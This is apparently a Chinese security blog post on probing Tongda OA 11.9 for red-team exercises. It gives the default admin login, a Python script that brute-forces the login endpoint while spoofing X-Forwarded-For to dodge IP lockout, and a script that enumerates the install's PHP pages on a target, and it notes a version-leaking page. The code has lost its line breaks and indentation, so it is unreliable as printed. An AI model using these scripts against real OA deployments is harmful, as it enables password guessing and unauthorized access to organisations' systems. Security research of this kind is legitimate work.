通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解
通达oa 11.9 的下载地址 默认安装地址是 D:MYOA 联网状态下会自动更新到通达 oa 11.10
安装成功后,登录界面如下 默认账号为 admin 对应密码为空






import requestsimport sysimport redef read_passwd(passwordfile):withopen(file = passwordfile, mode='r') as f:passwd = f.read().splitlines()return passwddef Intruder_password(url,username,passwd_list):success_str ="正在进入OA系统,请稍候..."a=b=c=d=0url = url +"/logincheck.php"for passwd in passwd_list:payload ="UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}response = requests.request("POST", url, data=payload, headers=headers)if(re.search(success_str, response.text)):print("正确的账号名:{}密码:{}".format(username,passwd))else:print("错误密码:{}".format(passwd))d=d+1if(d ==255):c = c +1d =0if(c ==255):b = b +1c =0if(b ==255):a = a +1b =0def main():iflen(sys.argv) <4:print("Usage: Intruder_password.py targeturl username passwdfile\n""Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")exit()url = sys.argv[1]username = sys.argv[2]passwd_list = read_passwd(sys.argv[3])Intruder_password(url,username,passwd_list)if__name__=='__main__':main()
import osimport sysimport requestsdef file_path(url,filefolder):for root, dirs, files in os.walk(filefolder):for f in files:paths = os.path.join(root,f)paths = paths.replace(filefolder,url)paths = paths.replace("\\","/")#print(paths)if(f.endswith(".php")):response = requests.get(paths)# print(str(response.status_code)+" "+str(len(response.text))+" "+paths)print("code:"+str(response.status_code) +" len:"+str(len(response.text))+" url: "+ paths )def main():iflen(sys.argv) <3:print("Usage: file_path.py targeturl filefolder\n""Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")exit()url = sys.argv[1]filefolder = sys.argv[2]file_path(url,filefolder)if__name__=='__main__':main()
http://10.0.18.1/inc/reg.php 泄露版本信息






本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/186652.html
必填 您当前尚未登录。 登录? 注册
必填(保密)